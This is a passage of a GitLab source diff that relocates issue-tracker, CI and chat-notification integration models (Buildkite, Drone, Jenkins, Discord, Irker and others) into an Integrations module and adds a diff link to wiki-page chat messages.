+ response = Gitlab::HTTP.head(self.project_url, verify: true)
+
+ if response
+ message = "#{self.type} received response #{response.code} when attempting to connect to #{self.project_url}"
+ result = true
+ end
+ rescue Gitlab::HTTP::Error, Timeout::Error, SocketError, Errno::ECONNRESET, Errno::ECONNREFUSED, OpenSSL::SSL::SSLError => error
+ message = "#{self.type} had an error when trying to connect to #{self.project_url}: #{error.message}"
+ end
+ log_info(message)
+ result
+ end
+
+ def support_close_issue?
+ false
+ end
+
+ def support_cross_reference?
+ false
+ end
+
+ def create_cross_reference_note(mentioned, noteable, author)
+ # implement inside child
+ end
+
+ private
+
+ def enabled_in_gitlab_config
+ Gitlab.config.issues_tracker &&
+ Gitlab.config.issues_tracker.values.any? &&
+ issues_tracker
+ end
+
+ def issues_tracker
+ Gitlab.config.issues_tracker[to_param]
+ end
+
+ def one_issue_tracker
+ return if template? || instance?
+ return if project.blank?
+
+ if project.integrations.external_issue_trackers.where.not(id: id).any?
+ errors.add(:base, _('Another issue tracker is already in use. Only one issue tracker service can be active at a time'))
+ end
+ end
+ end
+end
diff --git a/app/models/integrations/base_slash_commands.rb b/app/models/integrations/base_slash_commands.rb
new file mode 100644
index 00000000000..eacf1184aae
--- /dev/null
+++ b/app/models/integrations/base_slash_commands.rb
@@ -0,0 +1,67 @@
+# frozen_string_literal: true
+
+# Base class for ChatOps integrations
+# This class is not meant to be used directly, but only to inherrit from.
+module Integrations
+ class BaseSlashCommands < Integration
+ default_value_for :category, 'chat'
+
+ prop_accessor :token
+
+ has_many :chat_names, foreign_key: :service_id, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
+
+ def valid_token?(token)
+ self.respond_to?(:token) &&
+ self.token.present? &&
+ ActiveSupport::SecurityUtils.secure_compare(token, self.token)
+ end
+
+ def self.supported_events
+ %w()
+ end
+
+ def can_test?
+ false
+ end
+
+ def fields
+ [
+ { type: 'text', name: 'token', placeholder: 'XXxxXXxxXXxxXXxxXXxxXXxx' }
+ ]
+ end
+
+ def trigger(params)
+ return unless valid_token?(params[:token])
+
+ chat_user = find_chat_user(params)
+ user = chat_user&.user
+
+ if user
+ unless user.can?(:use_slash_commands)
+ return Gitlab::SlashCommands::Presenters::Access.new.deactivated if user.deactivated?
+
+ return Gitlab::SlashCommands::Presenters::Access.new.access_denied(project)
+ end
+
+ Gitlab::SlashCommands::Command.new(project, chat_user, params).execute
+ else
+ url = authorize_chat_name_url(params)
+ Gitlab::SlashCommands::Presenters::Access.new(url).authorize
+ end
+ end
+
+ private
+
+ # rubocop: disable CodeReuse/ServiceClass
+ def find_chat_user(params)
+ ChatNames::FindUserService.new(self, params).execute
+ end
+ # rubocop: enable CodeReuse/ServiceClass
+
+ # rubocop: disable CodeReuse/ServiceClass
+ def authorize_chat_name_url(params)
+ ChatNames::AuthorizeUserService.new(self, params).execute
+ end
+ # rubocop: enable CodeReuse/ServiceClass
+ end
+end
diff --git a/app/models/integrations/bugzilla.rb b/app/models/integrations/bugzilla.rb
new file mode 100644
index 00000000000..9251015acb8
--- /dev/null
+++ b/app/models/integrations/bugzilla.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Bugzilla < BaseIssueTracker
+ include ActionView::Helpers::UrlHelper
+
+ validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
+
+ def title
+ 'Bugzilla'
+ end
+
+ def description
+ s_("IssueTracker|Use Bugzilla as this project's issue tracker.")
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/bugzilla'), target: '_blank', rel: 'noopener noreferrer'
+ s_("IssueTracker|Use Bugzilla as this project's issue tracker. %{docs_link}").html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def self.to_param
+ 'bugzilla'
+ end
+ end
+end
diff --git a/app/models/integrations/buildkite.rb b/app/models/integrations/buildkite.rb
new file mode 100644
index 00000000000..906a5d02f9c
--- /dev/null
+++ b/app/models/integrations/buildkite.rb
@@ -0,0 +1,145 @@
+# frozen_string_literal: true
+
+require "addressable/uri"
+
+module Integrations
+ class Buildkite < BaseCi
+ include ReactiveService
+
+ ENDPOINT = "https://buildkite.com"
+
+ prop_accessor :project_url, :token
+
+ validates :project_url, presence: true, public_url: true, if: :activated?
+ validates :token, presence: true, if: :activated?
+
+ after_save :compose_service_hook, if: :activated?
+
+ def self.supported_events
+ %w(push merge_request tag_push)
+ end
+
+ # This is a stub method to work with deprecated API response
+ # TODO: remove enable_ssl_verification after 14.0
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/222808
+ def enable_ssl_verification
+ true
+ end
+
+ # Since SSL verification will always be enabled for Buildkite,
+ # we no longer needs to store the boolean.
+ # This is a stub method to work with deprecated API param.
+ # TODO: remove enable_ssl_verification after 14.0
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/222808
+ def enable_ssl_verification=(_value)
+ self.properties.delete('enable_ssl_verification') # Remove unused key
+ end
+
+ def webhook_url
+ "#{buildkite_endpoint('webhook')}/deliver/#{webhook_token}"
+ end
+
+ def compose_service_hook
+ hook = service_hook || build_service_hook
+ hook.url = webhook_url
+ hook.enable_ssl_verification = true
+ hook.save
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ service_hook.execute(data)
+ end
+
+ def commit_status(sha, ref)
+ with_reactive_cache(sha, ref) {|cached| cached[:commit_status] }
+ end
+
+ def commit_status_path(sha)
+ "#{buildkite_endpoint('gitlab')}/status/#{status_token}.json?commit=#{sha}"
+ end
+
+ def build_page(sha, ref)
+ "#{project_url}/builds?commit=#{sha}"
+ end
+
+ def title
+ 'Buildkite'
+ end
+
+ def description
+ 'Run CI/CD pipelines with Buildkite.'
+ end
+
+ def self.to_param
+ 'buildkite'
+ end
+
+ def fields
+ [
+ { type: 'text',
+ name: 'token',
+ title: 'Integration Token',
+ help: 'This token will be provided when you create a Buildkite pipeline with a GitLab repository',
+ required: true },
+
+ { type: 'text',
+ name: 'project_url',
+ title: 'Pipeline URL',
+ placeholder: "#{ENDPOINT}/acme-inc/test-pipeline",
+ required: true }
+ ]
+ end
+
+ def calculate_reactive_cache(sha, ref)
+ response = Gitlab::HTTP.try_get(commit_status_path(sha), request_options)
+
+ status =
+ if response&.code == 200 && response['status']
+ response['status']
+ else
+ :error
+ end
+
+ { commit_status: status }
+ end
+
+ private
+
+ def webhook_token
+ token_parts.first
+ end
+
+ def status_token
+ token_parts.second
+ end
+
+ def token_parts
+ if token.present?
+ token.split(':')
+ else
+ []
+ end
+ end
+
+ def buildkite_endpoint(subdomain = nil)
+ if subdomain.present?
+ uri = Addressable::URI.parse(ENDPOINT)
+ new_endpoint = "#{uri.scheme || 'http'}://#{subdomain}.#{uri.host}"
+
+ if uri.port.present?
+ "#{new_endpoint}:#{uri.port}"
+ else
+ new_endpoint
+ end
+ else
+ ENDPOINT
+ end
+ end
+
+ def request_options
+ { verify: false, extra_log_info: { project_id: project_id } }
+ end
+ end
+end
diff --git a/app/models/integrations/builds_email.rb b/app/models/integrations/builds_email.rb
deleted file mode 100644
index 2628848667e..00000000000
--- a/app/models/integrations/builds_email.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-# frozen_string_literal: true
-
-# This class is to be removed with 9.1
-# We should also by then remove BuildsEmailService from database
-# https://gitlab.com/gitlab-org/gitlab/-/issues/331064
-module Integrations
- class BuildsEmail < Integration
- def self.to_param
- 'builds_email'
- end
-
- def self.supported_events
- %w[]
- end
- end
-end
diff --git a/app/models/integrations/chat_message/base_message.rb b/app/models/integrations/chat_message/base_message.rb
index 2f70384d3b9..afe3ffc45a0 100644
--- a/app/models/integrations/chat_message/base_message.rb
+++ b/app/models/integrations/chat_message/base_message.rb
@@ -58,7 +58,7 @@ module Integrations
end
def format(string)
- Slack::Messenger::Util::LinkFormatter.format(format_relative_links(string))
+ ::Slack::Messenger::Util::LinkFormatter.format(format_relative_links(string))
end
def format_relative_links(string)
diff --git a/app/models/integrations/chat_message/pipeline_message.rb b/app/models/integrations/chat_message/pipeline_message.rb
index a0f6f582e4c..a3f68d34035 100644
--- a/app/models/integrations/chat_message/pipeline_message.rb
+++ b/app/models/integrations/chat_message/pipeline_message.rb
@@ -105,7 +105,7 @@ module Integrations
def failed_stages_field
{
title: s_("ChatMessage|Failed stage").pluralize(failed_stages.length),
- value: Slack::Messenger::Util::LinkFormatter.format(failed_stages_links),
+ value: ::Slack::Messenger::Util::LinkFormatter.format(failed_stages_links),
short: true
}
end
@@ -113,7 +113,7 @@ module Integrations
def failed_jobs_field
{
title: s_("ChatMessage|Failed job").pluralize(failed_jobs.length),
- value: Slack::Messenger::Util::LinkFormatter.format(failed_jobs_links),
+ value: ::Slack::Messenger::Util::LinkFormatter.format(failed_jobs_links),
short: true
}
end
@@ -130,12 +130,12 @@ module Integrations
fields = [
{
title: ref_type == "tag" ? s_("ChatMessage|Tag") : s_("ChatMessage|Branch"),
- value: Slack::Messenger::Util::LinkFormatter.format(ref_link),
+ value: ::Slack::Messenger::Util::LinkFormatter.format(ref_link),
short: true
},
{
title: s_("ChatMessage|Commit"),
- value: Slack::Messenger::Util::LinkFormatter.format(commit_link),
+ value: ::Slack::Messenger::Util::LinkFormatter.format(commit_link),
short: true
}
]
diff --git a/app/models/integrations/chat_message/push_message.rb b/app/models/integrations/chat_message/push_message.rb
index 0952986e923..fabd214633b 100644
--- a/app/models/integrations/chat_message/push_message.rb
+++ b/app/models/integrations/chat_message/push_message.rb
@@ -49,7 +49,7 @@ module Integrations
end
def format(string)
- Slack::Messenger::Util::LinkFormatter.format(string)
+ ::Slack::Messenger::Util::LinkFormatter.format(string)
end
def commit_messages
diff --git a/app/models/integrations/chat_message/wiki_page_message.rb b/app/models/integrations/chat_message/wiki_page_message.rb
index 9b5275b8c03..00f0f911b0e 100644
--- a/app/models/integrations/chat_message/wiki_page_message.rb
+++ b/app/models/integrations/chat_message/wiki_page_message.rb
@@ -7,6 +7,7 @@ module Integrations
attr_reader :wiki_page_url
attr_reader :action
attr_reader :description
+ attr_reader :diff_url
def initialize(params)
super
@@ -16,6 +17,7 @@ module Integrations
@title = obj_attr[:title]
@wiki_page_url = obj_attr[:url]
@description = obj_attr[:message]
+ @diff_url = obj_attr[:diff_url]
@action =
case obj_attr[:action]
@@ -44,19 +46,23 @@ module Integrations
private
def message
- "#{user_combined_name} #{action} #{wiki_page_link} in #{project_link}: *#{title}*"
+ "#{user_combined_name} #{action} #{wiki_page_link} (#{diff_link}) in #{project_link}: *#{title}*"
end
def description_message
[{ text: format(@description), color: attachment_color }]
end
+ def diff_link
+ link('Compare changes', diff_url)
+ end
+
def project_link
- "[#{project_name}](#{project_url})"
+ link(project_name, project_url)
end
def wiki_page_link
- "[wiki page](#{wiki_page_url})"
+ link('wiki page', wiki_page_url)
end
end
end
diff --git a/app/models/integrations/custom_issue_tracker.rb b/app/models/integrations/custom_issue_tracker.rb
new file mode 100644
index 00000000000..635a9d093e9
--- /dev/null
+++ b/app/models/integrations/custom_issue_tracker.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Integrations
+ class CustomIssueTracker < BaseIssueTracker
+ include ActionView::Helpers::UrlHelper
+ validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
+
+ def title
+ s_('IssueTracker|Custom issue tracker')
+ end
+
+ def description
+ s_("IssueTracker|Use a custom issue tracker as this project's issue tracker.")
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/custom_issue_tracker'), target: '_blank', rel: 'noopener noreferrer'
+ s_('IssueTracker|Use a custom issue tracker that is not in the integration list. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def self.to_param
+ 'custom_issue_tracker'
+ end
+ end
+end
diff --git a/app/models/integrations/discord.rb b/app/models/integrations/discord.rb
new file mode 100644
index 00000000000..ef6d46fd3d3
--- /dev/null
+++ b/app/models/integrations/discord.rb
@@ -0,0 +1,68 @@
+# frozen_string_literal: true
+
+require "discordrb/webhooks"
+
+module Integrations
+ class Discord < BaseChatNotification
+ include ActionView::Helpers::UrlHelper
+
+ ATTACHMENT_REGEX = /: (?<entry>.*?)\n - (?<name>.*)\n*/.freeze
+
+ def title
+ s_("DiscordService|Discord Notifications")
+ end
+
+ def description
+ s_("DiscordService|Send notifications about project events to a Discord channel.")
+ end
+
+ def self.to_param
+ "discord"
+ end
+
+ def help
+ docs_link = link_to _('How do I set up this service?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/discord_notifications'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Send notifications about project events to a Discord channel. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def event_field(event)
+ # No-op.
+ end
+
+ def default_channel_placeholder
+ # No-op.
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: "text", name: "webhook", placeholder: "https://discordapp.com/api/webhooks/…", help: "URL to the webhook for the Discord channel." },
+ { type: "checkbox", name: "notify_only_broken_pipelines" },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ client = Discordrb::Webhooks::Client.new(url: webhook)
+
+ client.execute do |builder|
+ builder.add_embed do |embed|
+ embed.author = Discordrb::Webhooks::EmbedAuthor.new(name: message.user_name, icon_url: message.user_avatar)
+ embed.description = (message.pretext + "\n" + Array.wrap(message.attachments).join("\n")).gsub(ATTACHMENT_REGEX, " \\k<entry> - \\k<name>\n")
+ end
+ end
+ rescue RestClient::Exception => error
+ log_error(error.message)
+ false
+ end
+
+ def custom_data(data)
+ super(data).merge(markdown: true)
+ end
+ end
+end
diff --git a/app/models/integrations/drone_ci.rb b/app/models/integrations/drone_ci.rb
new file mode 100644
index 00000000000..096f7093b8c
--- /dev/null
+++ b/app/models/integrations/drone_ci.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+module Integrations
+ class DroneCi < BaseCi
+ include ReactiveService
+ include ServicePushDataValidations
+
+ prop_accessor :drone_url, :token
+ boolean_accessor :enable_ssl_verification
+
+ validates :drone_url, presence: true, public_url: true, if: :activated?
+ validates :token, presence: true, if: :activated?
+
+ after_save :compose_service_hook, if: :activated?
+
+ def compose_service_hook
+ hook = service_hook || build_service_hook
+ # If using a service template, project may not be available
+ hook.url = [drone_url, "/api/hook", "?owner=#{project.namespace.full_path}", "&name=#{project.path}", "&access_token=#{token}"].join if project
+ hook.enable_ssl_verification = !!enable_ssl_verification
+ hook.save
+ end
+
+ def execute(data)
+ case data[:object_kind]
+ when 'push'
+ service_hook.execute(data) if push_valid?(data)
+ when 'merge_request'
+ service_hook.execute(data) if merge_request_valid?(data)
+ when 'tag_push'
+ service_hook.execute(data) if tag_push_valid?(data)
+ end
+ end
+
+ def allow_target_ci?
+ true
+ end
+
+ def self.supported_events
+ %w(push merge_request tag_push)
+ end
+
+ def commit_status_path(sha, ref)
+ Gitlab::Utils.append_path(
+ drone_url,
+ "gitlab/#{project.full_path}/commits/#{sha}?branch=#{Addressable::URI.encode_component(ref.to_s)}&access_token=#{token}")
+ end
+
+ def commit_status(sha, ref)
+ with_reactive_cache(sha, ref) { |cached| cached[:commit_status] }
+ end
+
+ def calculate_reactive_cache(sha, ref)
+ response = Gitlab::HTTP.try_get(commit_status_path(sha, ref),
+ verify: enable_ssl_verification,
+ extra_log_info: { project_id: project_id })
+
+ status =
+ if response && response.code == 200 && response['status']
+ case response['status']
+ when 'killed'
+ :canceled
+ when 'failure', 'error'
+ # Because drone return error if some test env failed
+ :failed
+ else
+ response["status"]
+ end
+ else
+ :error
+ end
+
+ { commit_status: status }
+ end
+
+ def build_page(sha, ref)
+ Gitlab::Utils.append_path(
+ drone_url,
+ "gitlab/#{project.full_path}/redirect/commits/#{sha}?branch=#{Addressable::URI.encode_component(ref.to_s)}")
+ end
+
+ def title
+ 'Drone'
+ end
+
+ def description
+ s_('ProjectService|Run CI/CD pipelines with Drone.')
+ end
+
+ def self.to_param
+ 'drone_ci'
+ end
+
+ def help
+ s_('ProjectService|Run CI/CD pipelines with Drone.')
+ end
+
+ def fields
+ [
+ { type: 'text', name: 'token', help: s_('ProjectService|Token for the Drone project.'), required: true },
+ { type: 'text', name: 'drone_url', title: s_('ProjectService|Drone server URL'), placeholder: 'http://drone.example.com', required: true },
+ { type: 'checkbox', name: 'enable_ssl_verification', title: "Enable SSL verification" }
+ ]
+ end
+ end
+end
diff --git a/app/models/integrations/ewm.rb b/app/models/integrations/ewm.rb
new file mode 100644
index 00000000000..0a4e8d92ed7
--- /dev/null
+++ b/app/models/integrations/ewm.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Ewm < BaseIssueTracker
+ include ActionView::Helpers::UrlHelper
+
+ validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
+
+ def self.reference_pattern(only_long: true)
+ @reference_pattern ||= %r{(?<issue>\b(bug|task|work item|workitem|rtcwi|defect)\b\s+\d+)}i
+ end
+
+ def title
+ 'EWM'
+ end
+
+ def description
+ s_("IssueTracker|Use IBM Engineering Workflow Management as this project's issue tracker.")
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/ewm'), target: '_blank', rel: 'noopener noreferrer'
+ s_("IssueTracker|Use IBM Engineering Workflow Management as this project's issue tracker. %{docs_link}").html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def self.to_param
+ 'ewm'
+ end
+
+ def can_test?
+ false
+ end
+
+ def issue_url(iid)
+ issues_url.gsub(':id', iid.to_s.split(' ')[-1])
+ end
+ end
+end
diff --git a/app/models/integrations/external_wiki.rb b/app/models/integrations/external_wiki.rb
new file mode 100644
index 00000000000..fec435443fa
--- /dev/null
+++ b/app/models/integrations/external_wiki.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module Integrations
+ class ExternalWiki < Integration
+ include ActionView::Helpers::UrlHelper
+
+ prop_accessor :external_wiki_url
+ validates :external_wiki_url, presence: true, public_url: true, if: :activated?
+
+ def title
+ s_('ExternalWikiService|External wiki')
+ end
+
+ def description
+ s_('ExternalWikiService|Link to an external wiki from the sidebar.')
+ end
+
+ def self.to_param
+ 'external_wiki'
+ end
+
+ def fields
+ [
+ {
+ type: 'text',
+ name: 'external_wiki_url',
+ title: s_('ExternalWikiService|External wiki URL'),
+ placeholder: s_('ExternalWikiService|https://example.com/xxx/wiki/...'),
+ help: 'Enter the URL to the external wiki.',
+ required: true
+ }
+ ]
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/wiki/index', anchor: 'link-an-external-wiki'), target: '_blank', rel: 'noopener noreferrer'
+
+ s_('Link an external wiki from the project\'s sidebar. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def execute(_data)
+ response = Gitlab::HTTP.get(properties['external_wiki_url'], verify: true)
+ response.body if response.code == 200
+ rescue StandardError
+ nil
+ end
+
+ def self.supported_events
+ %w()
+ end
+ end
+end
diff --git a/app/models/integrations/flowdock.rb b/app/models/integrations/flowdock.rb
new file mode 100644
index 00000000000..443f61e65dd
--- /dev/null
+++ b/app/models/integrations/flowdock.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Flowdock < Integration
+ include ActionView::Helpers::UrlHelper
+
+ prop_accessor :token
+ validates :token, presence: true, if: :activated?
+
+ def title
+ 'Flowdock'
+ end
+
+ def description
+ s_('FlowdockService|Send event notifications from GitLab to Flowdock flows.')
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('api/services', anchor: 'flowdock'), target: '_blank', rel: 'noopener noreferrer'
+ s_('FlowdockService|Send event notifications from GitLab to Flowdock flows. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def self.to_param
+ 'flowdock'
+ end
+
+ def fields
+ [
+ { type: 'text', name: 'token', placeholder: s_('FlowdockService|1b609b52537...'), required: true, help: 'Enter your Flowdock token.' }
+ ]
+ end
+
+ def self.supported_events
+ %w(push)
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ ::Flowdock::Git.post(
+ data[:ref],
+ data[:before],
+ data[:after],
+ token: token,
+ repo: project.repository,
+ repo_url: "#{Gitlab.config.gitlab.url}/#{project.full_path}",
+ commit_url: "#{Gitlab.config.gitlab.url}/#{project.full_path}/-/commit/%s",
+ diff_url: "#{Gitlab.config.gitlab.url}/#{project.full_path}/compare/%s...%s"
+ )
+ end
+ end
+end
diff --git a/app/models/integrations/hangouts_chat.rb b/app/models/integrations/hangouts_chat.rb
new file mode 100644
index 00000000000..d02cfe4ec56
--- /dev/null
+++ b/app/models/integrations/hangouts_chat.rb
@@ -0,0 +1,71 @@
+# frozen_string_literal: true
+
+module Integrations
+ class HangoutsChat < BaseChatNotification
+ include ActionView::Helpers::UrlHelper
+
+ def title
+ 'Google Chat'
+ end
+
+ def description
+ 'Send notifications from GitLab to a room in Google Chat.'
+ end
+
+ def self.to_param
+ 'hangouts_chat'
+ end
+
+ def help
+ docs_link = link_to _('How do I set up a Google Chat webhook?'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/hangouts_chat'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Before enabling this integration, create a webhook for the room in Google Chat where you want to receive notifications from this project. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def event_field(event)
+ end
+
+ def default_channel_placeholder
+ end
+
+ def webhook_placeholder
+ 'https://chat.googleapis.com/v1/spaces…'
+ end
+
+ def self.supported_events
+ %w[push issue confidential_issue merge_request note confidential_note tag_push
+ pipeline wiki_page]
+ end
+
+ def default_fields
+ [
+ { type: 'text', name: 'webhook', placeholder: "#{webhook_placeholder}" },
+ { type: 'checkbox', name: 'notify_only_broken_pipelines' },
+ { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
+ ]
+ end
+
+ private
+
+ def notify(message, opts)
+ simple_text = parse_simple_text_message(message)
+ ::HangoutsChat::Sender.new(webhook).simple(simple_text)
+ end
+
+ def parse_simple_text_message(message)
+ header = message.pretext
+ return header if message.attachments.empty?
+
+ attachment = message.attachments.first
+ title = format_attachment_title(attachment)
+ body = attachment[:text]
+
+ [header, title, body].compact.join("\n")
+ end
+
+ def format_attachment_title(attachment)
+ return attachment[:title] unless attachment[:title_link]
+
+ "<#{attachment[:title_link]}|#{attachment[:title]}>"
+ end
+ end
+end
diff --git a/app/models/integrations/irker.rb b/app/models/integrations/irker.rb
new file mode 100644
index 00000000000..7048dd641ea
--- /dev/null
+++ b/app/models/integrations/irker.rb
@@ -0,0 +1,123 @@
+# frozen_string_literal: true
+
+require 'uri'
+
+module Integrations
+ class Irker < Integration
+ prop_accessor :server_host, :server_port, :default_irc_uri
+ prop_accessor :recipients, :channels
+ boolean_accessor :colorize_messages
+ validates :recipients, presence: true, if: :validate_recipients?
+
+ before_validation :get_channels
+
+ def title
+ 'Irker (IRC gateway)'
+ end
+
+ def description
+ 'Send IRC messages.'
+ end
+
+ def self.to_param
+ 'irker'
+ end
+
+ def self.supported_events
+ %w(push)
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ IrkerWorker.perform_async(project_id, channels,
+ colorize_messages, data, settings)
+ end
+
+ def settings
+ {
+ server_host: server_host.presence || 'localhost',
+ server_port: server_port.presence || 6659
+ }
+ end
+
+ def fields
+ [
+ { type: 'text', name: 'server_host', placeholder: 'localhost',
+ help: 'Irker daemon hostname (defaults to localhost)' },
+ { type: 'text', name: 'server_port', placeholder: 6659,
+ help: 'Irker daemon port (defaults to 6659)' },
+ { type: 'text', name: 'default_irc_uri', title: 'Default IRC URI',
+ help: 'A default IRC URI to prepend before each recipient (optional)',
+ placeholder: 'irc://irc.network.net:6697/' },
+ { type: 'textarea', name: 'recipients',
+ placeholder: 'Recipients/channels separated by whitespaces', required: true,
+ help: 'Recipients have to be specified with a full URI: '\
+ 'irc[s]://irc.network.net[:port]/#channel. Special cases: if '\
+ 'you want the channel to be a nickname instead, append ",isnick" to ' \
+ 'the channel name; if the channel is protected by a secret password, ' \
+ ' append "?key=secretpassword" to the URI (Note that due to a bug, if you ' \
+ ' want to use a password, you have to omit the "#" on the channel). If you ' \
+ ' specify a default IRC URI to prepend before each recipient, you can just ' \
+ ' give a channel name.' },
+ { type: 'checkbox', name: 'colorize_messages' }
+ ]
+ end
+
+ def help
+ ' NOTE: Irker does NOT have built-in authentication, which makes it' \
+ ' vulnerable to spamming IRC channels if it is hosted outside of a ' \
+ ' firewall. Please make sure you run the daemon within a secured network ' \
+ ' to prevent abuse. For more details, read: http://www.catb.org/~esr/irker/security.html.'
+ end
+
+ private
+
+ def get_channels
+ return true unless activated?
+ return true if recipients.nil? || recipients.empty?
+
+ map_recipients
+
+ errors.add(:recipients, 'are all invalid') if channels.empty?
+ true
+ end
+
+ def map_recipients
+ self.channels = recipients.split(/\s+/).map do |recipient|
+ format_channel(recipient)
+ end
+ channels.reject!(&:nil?)
+ end
+
+ def format_channel(recipient)
+ uri = nil
+
+ # Try to parse the chan as a full URI
+ begin
+ uri = consider_uri(URI.parse(recipient))
+ rescue URI::InvalidURIError
+ end
+
+ unless uri.present? && default_irc_uri.nil?
+ begin
+ new_recipient = URI.join(default_irc_uri, '/', recipient).to_s
+ uri = consider_uri(URI.parse(new_recipient))
+ rescue StandardError
+ log_error("Unable to create a valid URL", default_irc_uri: default_irc_uri, recipient: recipient)
+ end
+ end
+
+ uri
+ end
+
+ def consider_uri(uri)
+ return if uri.scheme.nil?
+
+ # Authorize both irc://domain.com/#chan and irc://domain.com/chan
+ if uri.is_a?(URI) && uri.scheme[/^ircs?\z/] && !uri.path.nil?
+ uri.to_s
+ end
+ end
+ end
+end
diff --git a/app/models/integrations/issue_tracker_data.rb b/app/models/integrations/issue_tracker_data.rb
new file mode 100644
index 00000000000..8749075149f
--- /dev/null
+++ b/app/models/integrations/issue_tracker_data.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Integrations
+ class IssueTrackerData < ApplicationRecord
+ include BaseDataFields
+
+ attr_encrypted :project_url, encryption_options
+ attr_encrypted :issues_url, encryption_options
+ attr_encrypted :new_issue_url, encryption_options
+ end
+end
diff --git a/app/models/integrations/jenkins.rb b/app/models/integrations/jenkins.rb
new file mode 100644
index 00000000000..815e86bcaa1
--- /dev/null
+++ b/app/models/integrations/jenkins.rb
@@ -0,0 +1,113 @@
+# frozen_string_literal: true
+
+module Integrations
+ class Jenkins < BaseCi
+ include ActionView::Helpers::UrlHelper
+
+ prop_accessor :jenkins_url, :project_name, :username, :password
+
+ before_update :reset_password
+
+ validates :jenkins_url, presence: true, addressable_url: true, if: :activated?
+ validates :project_name, presence: true, if: :activated?
+ validates :username, presence: true, if: ->(service) { service.activated? && service.password_touched? && service.password.present? }
+
+ default_value_for :push_events, true
+ default_value_for :merge_requests_events, false
+ default_value_for :tag_push_events, false
+
+ after_save :compose_service_hook, if: :activated?
+
+ def reset_password
+ # don't reset the password if a new one is provided
+ if (jenkins_url_changed? || username.blank?) && !password_touched?
+ self.password = nil
+ end
+ end
+
+ def compose_service_hook
+ hook = service_hook || build_service_hook
+ hook.url = hook_url
+ hook.save
+ end
+
+ def execute(data)
+ return unless supported_events.include?(data[:object_kind])
+
+ service_hook.execute(data, "#{data[:object_kind]}_hook")
+ end
+
+ def test(data)
+ begin
+ result = execute(data)
+ return { success: false, result: result[:message] } if result[:http_status] != 200
+ rescue StandardError => error
+ return { success: false, result: error }
+ end
+
+ { success: true, result: result[:message] }
+ end
+
+ def hook_url
+ url = URI.parse(jenkins_url)
+ url.path = File.join(url.path || '/', "project/#{project_name}")
+ url.user = ERB::Util.url_encode(username) unless username.blank?
+ url.password = ERB::Util.url_encode(password) unless password.blank?
+ url.to_s
+ end
+
+ def self.supported_events
+ %w(push merge_request tag_push)
+ end
+
+ def title
+ 'Jenkins'
+ end
+
+ def description
+ s_('Run CI/CD pipelines with Jenkins.')
+ end
+
+ def help
+ docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('integration/jenkins'), target: '_blank', rel: 'noopener noreferrer'
+ s_('Run CI/CD pipelines with Jenkins when you push to a repository, or when a merge request is created, updated, or merged. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
+ end
+
+ def self.to_param
+ 'jenkins'
+ end
+
+ def fields
+ [
+ {
+ type: 'text',
+ name: 'jenkins_url',
+ title: s_('ProjectService|Jenkins server URL'),
+ required: true,
+ placeholder: 'http://jenkins.example.com',
+ help: s_('The URL of the Jenkins server.')
+ },
+ {
+ type: 'text',
+ name: 'project_name',
+ required: true,
+ placeholder: 'my_project_name',
+ help: s_('The name of the Jenkins project. Copy the name from the end of the URL to the project.')
+ },
+ {
+ type: 'text',
+ name: 'username',
+ required: true,
+ help: s_('The username for the Jenkins server.')
+ },
+ {
+ type: 'password',
+ name: 'password',
+ help: s_('The password for the Jenkins server.'),
+ non_empty_password_title: s_('ProjectService|Enter new password.'),
+ non_empty_password_help: s_('ProjectService|Leave blank to use your current password.')
+ }
+ ]
+ end
+ end
+end
diff --git a/app/models/integrations/jira.rb b/app/models/integrations/jira.rb
new file mode 100644
index 00000000000..aa143cc28e1
--- /dev/null
+++ b/app/models/integrations/jira.rb
@@ -0,0 +1,588 @@
+# frozen_string_literal: true
+
+# Accessible as Project#external_issue_tracker
+module Integrations
+ class Jira < BaseIssueTracker
+ extend ::Gitlab::Utils::Override
